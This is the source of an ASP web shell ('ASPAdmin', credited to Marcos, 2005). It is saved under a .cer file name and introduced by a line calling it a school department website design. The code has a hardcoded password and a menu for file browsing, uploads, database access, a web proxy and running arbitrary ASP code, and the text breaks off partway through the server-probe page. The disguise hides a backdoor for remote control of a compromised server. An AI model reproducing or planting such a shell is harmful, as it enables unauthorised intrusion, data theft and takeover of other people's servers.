200681443122869.cer

学校部门网站设计,里面有好多模块譬如 简介联系方式 登陆注册留言新闻发布

<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
'	Option Explicit
	Response.Buffer = True
	
	Dim url, conn, sUrlB, theAct, thePath, rootPath, PageSize
	Dim accessStr, pageName, sysFileList, isSqlServer, sPacketName
	theAct = GetPost("theAct")
	PageSize = 20 ''默认每页记录数
	isSqlServer = False
	rootPath = Server.MapPath("/")
	pageName = GetPost("PageName")
	url = Request.ServerVariables("URL") ''当前页的相对路径
	sPacketName = "Packet.mdb" ''文件包默认文件名
	thePath = Replace(getPost("thePath"), "\\", "\")
	sysFileList = "$" & sPacketName & "$" & Left(sPacketName, InStrRev(sPacketName, ".") - 1) & ".ldb$"
	accessStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";"
	
	Const m = "ASPAdmin" ''Session标志
	Const isDebugMode = False 'False,True''是否调试模式
	Const maxPageCount = 600 ''查询时最多只列出N页的链接
	Const userPassword = "110101101EC111" ''登录密码
	Const imageFileExt = "$gif$jpg$bmp$" ''图像后缀列表
	Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"

	Sub echo(str)
		Response.Write(str)
	End Sub
	
	Sub IsIn()
		If Session(m & "userPassword") <> userPassword Then
			echo "<script>alert('没有权限的访问,请先登录!');location.href='" & url & "';</script>"
			Response.End()
		End If
	End Sub
	
	Function IIf(var, val1, val2)
		If var = True Then
			IIf = val1
		 Else
			IIf = val2
		End If
	End Function
	
	Sub RedirectTo(url)
		Response.Redirect(url)
	End Sub
	
	Function GetPost(var)
		Dim val
		If Request.QueryString("PageName") = "PageUpload" Then
			pageName = "PageUpload"
			Exit Function
		End If
		val = RTrim(Request.Form(var))
		If val = "" Then
			val = RTrim(Request.QueryString(var))
		End If
		GetPost = val
	End Function
	
	Function HtmlEncode(str)
		If IsNull(str) Then Exit Function
		HtmlEncode = Server.HTMLEncode(str)
	End Function
	
	Function UrlEncode(str)
		If IsNull(str) Then Exit Function
		UrlEncode = Server.UrlEncode(str)
	End Function
	
	Sub ShowTitle(str)
		Response.Write "<title>" & str & " - 程序网络工作组ASP站点管理员 V1.02</title>"
		Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>"
	End Sub
	
	Function GetTheSize(num)
		Dim i, arySize(4)
		arySize(0) = "B"
		arySize(1) = "KB"
		arySize(2) = "MB"
		arySize(3) = "GB"
		arySize(4) = "TB"
		While(num / 1024 >= 1)
			num = Fix(num / 1024 * 100) / 100
			i = i + 1
		WEnd
		GetTheSize = num & " " & arySize(i)
	End Function
	
	Sub ShowErr(str)
		Dim i, arrayStr
		str = Server.HtmlEncode(str)
		arrayStr = Split(str, "$$")

		echo "<font size=2>"
		echo "出错信息:<br/><br/>"
		For i = 0 To UBound(arrayStr)
			echo "&nbsp;&nbsp;" & (i + 1) & ". " & arrayStr(i) & "<br/>"
		Next
		echo "</font>"

		Response.End()
	End Sub
	
	Sub CreateFolder(thePath)
		Dim i
		i = InStr(Mid(thePath, 4), "\") + 3
		Do While i > 0
			If fso.FolderExists(Left(thePath, i)) = False Then
				fso.CreateFolder(Left(thePath, i - 1))
			End If
			If InStr(Mid(thePath, i + 1), "\") Then
				i = i + Instr(Mid(thePath, i + 1), "\")
			 Else
				i = 0
			End If
		Loop
	End Sub
	
	Sub AlertThenClose(str)
		If str = "" Then
			Response.Write "<script>window.close();</script>"
		 Else
			Response.Write "<script>alert(""" & str & """);window.close();</script>"
		End If
	End Sub
	
	Sub ChkErr(Err)
		If Err Then
			echo "<hr style='color:#d8d8f0;'/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
			echo "<hr style='color:#d8d8f0;'/>&nbsp;By Marcos 2005.06</font>"
			Err.Clear
			Response.End
		End If
	End Sub
	
	Sub TopMenu()
		echo "<form method=post name=formp action=""" & url & """>"
		echo "<select name=PageName onchange=changePage(this)>"
		echo "<option value=''>请选择功能页面</option>"
		echo "<option value=PageCheck>服务器信息探针</option>"
		echo "<option value=PageFso>FSO文件浏览操作器</option>"
		echo "<option value=PageDBTool>数据库操作器</option>"
		echo "<option value=PagePack>文件夹打包/解开器</option>"
		echo "<option value=PageUpload>批量文件上传</option>"
		echo "<option value=PageSearch>文本文件搜索器</option>"
		echo "<option value=PageWebProxy>HTTP协议网页代理</option>"
		echo "<option value=PageExecute>自定义ASP语句运行</option>"
		echo "<option value=PageOut>退出系统</option>"
		echo "</select>"
		echo "</form>"
		echo "<script lanuage=javascript>"
		echo "formp.PageName.value='" & pageName & "';"
		echo "function changePage(obj){"
		echo "	if(obj.value=='PageOut')"
		echo "		if(!confirm('确认要退出系统吗?'))return;"
		echo "if(obj.value=='PageWebProxy')obj.form.target='_blank';"
		echo "	obj.form.submit();obj.form.target='';"
		echo "}"
		echo "</script>"
	End Sub
	
	Rem ++++++++++++++++++++++++++++++++++++
	Rem 		以下是页面选择部分
	Rem ++++++++++++++++++++++++++++++++++++
	
	PageOther()
	If pageName <> "" Then
		IsIn()
		TopMenu()
	End If
	
	Select Case pageName
		Case "PageSearch"
			PageSearch()
		Case "PageCheck"
			PageCheck()
		Case "PageFso"
			PageFso()
		Case "PageDBTool"
			PageDBTool()
		Case "PageUpload"
			PageUpload()
		Case "PagePack"
			PagePack()
		Case "PageExecute"
			PageExecute()
		Case "PageWebProxy"
			PageWebProxy()
		Case "", "PageOut"
			PageLogin()
	End Select

	Rem +++++++++++++++++++++++++++++++++++++
	Rem 		以下是各功能模块部分
	Rem +++++++++++++++++++++++++++++++++++++
	
	Sub PageSearch()
		Dim strKey, strPath
		strKey = GetPost("Key")
		Server.ScriptTimeout = 5000
		If thePath = "" Then thePath = "/"
		
		ShowTitle("文本文件搜索器")
		
		SearchTable(strKey)
		
		If theAct <> "" And strKey <> "" Then
			SearchIt(strKey)
		End If
	End Sub
	
	Sub SearchTable(strKey)
		echo "<table width=750 border=1>"
		echo "<form method=post action='" & url & "'>"
		echo "<input type=hidden value=PageSearch name=PageName>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> 文本文件搜索器(需FSO支持)</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;路径</td>"
		echo "<td>&nbsp;<input name=thePath type=text id=thePath value='"
		echo HtmlEncode(thePath)
		echo "' style='width:360px;'>"
		echo "<input type=button onclick=this.form.thePath.value='/'; value='根目录'>"
		echo "<input type=button onclick=this.form.thePath.value='./'; value='当前目录'>"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td width='20%'>&nbsp;关键字</td>"
		echo "<td>&nbsp;<input name=Key type=text value='" & HtmlEncode(strKey) & "' id=Key style='width:400px;'> "
		echo "<select name=theAct id=theAct>"
		echo "<option value=FileName selected>仅文件名</option>"
		echo "<option value=FileContent>仅文本内容</option>"
		echo "<option value=Both>两者都</option>"
		echo "</select>"
		echo " <input type=submit name=Submit value=提交> </td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</form>"
		echo "</table>"
	End Sub
	
	Sub SearchIt(key)
		Dim strPath, theFolder
		Response.Buffer = True
		strPath = Server.MapPath(thePath)
		If fso.FolderExists(strPath) = False Then
			ShowErr(thePath & " 目录不存在或者不允许访问!")
		End If
		Set theFolder = fso.GetFolder(strPath)
		
		echo "<br/><div style='width:750;border:1px solid #d8d8f0;'>"

		Select Case theAct
			Case "Both"
				Call SearchFolder(theFolder, key, 1)
			Case "FileName"
				Call SearchFolder(theFolder, key, 2)
			Case "FileContent"
				Call SearchFolder(theFolder, key, 3)
		End Select
		
		echo "</div>"
		
		Set theFolder = Nothing
	End Sub
	
	Sub SearchFolder(folder, key, flag)
		Dim ext, title, theFile, theFolder
		
		For Each theFile In folder.Files
			ext = LCase(fso.GetExtensionName(theFile.Path))
			If flag = 1 Or flag = 2 Then
				If InStr(LCase(theFile.Name), LCase(key)) > 0 Then echo FileLink(theFile, "")
			End If
			If flag = 1 Or flag = 3 Then
				If Instr(EditableFileExt, "$" & ext & "$") > 0 Then
					If SearchFile(theFile, key, title) Then echo FileLink(theFile, title)
				End If
			End If
		Next

		Response.Flush()

		For Each theFolder In folder.SubFolders
			Call SearchFolder(theFolder, key, flag)
		Next
	end sub
	
	Function SearchFile(f, s, title)
		Dim theFile, content, pos1, pos2
		If isDebugMode = False Then On Error Resume Next

		Set theFile = fso.OpenTextFile(f.Path)
		content = theFile.ReadAll()
		theFile.Close
		Set theFile = Nothing

		If Err Then
			Err.Clear
		End If

		SearchFile = InStr(1, content, s, 1) 
		If SearchFile > 0 Then
			pos1 = InStr(1, content, "<TITLE>", 1)
			pos2 = InStr(1, content, "</TITLE>", 1)
			title = ""
			If pos1 > 0 And pos2 > 0 Then
				title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
			End If
		End If
	End Function
	
	Function FileLink(file, title)
		fileLink = file.Path
		If title = "" Then
			title = file.Name
		End If
		fileLink = "&nbsp;<font color=ff0000>" & title & "</font> " & Mid(fileLink, Len(rootPath) + 1) & "<br/>"
	End Function

	Sub PageCheck()
		ShowTitle("服务器信息探针")
		InfoCheck()
		If theAct <> "" Then
		GetAppOrSession(theAct)
		End If
		ObjCheck()
	End Sub

	Sub InfoCheck()
		Dim aryCheck(6)
		If isDebugMode = False Then On Error Resume Next

		aryCheck(0) = Server.ScriptTimeOut() & "(秒)"
		aryCheck(1) = FormatDateTime(Now(), 0)
		aryCheck(2) = Request.ServerVariables("SERVER_NAME")
		aryCheck(2) = aryCheck(2) & ", " & Request.ServerVariables("LOCAL_ADDR")
		aryCheck(2) = aryCheck(2) & ":" & Request.ServerVariables("SERVER_PORT")
		aryCheck(3) = Request.ServerVariables("OS")
		aryCheck(3) = IIf(aryCheck(3) = "", "Windows2003", aryCheck(3)) & ", " & Request.ServerVariables("SERVER_SOFTWARE")
		aryCheck(3) = aryCheck(3) & ", " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion
		aryCheck(4) = rootPath & ", " & GetTheSize(fso.GetFolder(rootPath).Size)
		aryCheck(5) = "Path: " & Request.ServerVariables("PATH_TRANSLATED") & "<br />"
		aryCheck(5) = aryCheck(5) & "&nbsp;Url : http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("Url")
		aryCheck(6) = "变量数: " & Application.Contents.Count() & "(<a href=javascript:locate('app');>Application</a>),"
		aryCheck(6) = aryCheck(6) & " 会话数: " & Session.Contents.Count & "(<a href=javascript:locate('session');>Session</a>),"
		aryCheck(6) = aryCheck(6) & " 当前会话ID: " & Session.SessionId()

		echo "<table width=750 border=1>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> 服务器基本信息"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr class=td>"
		echo "<td width='20%'>&nbsp;项目</td>"
		echo "<td>&nbsp;值</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;默认超时</td>"
		echo "<td>&nbsp;"&aryCheck(0)&"</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;当前时间</td>"
		echo "<td>&nbsp;"&aryCheck(1)&"</td>"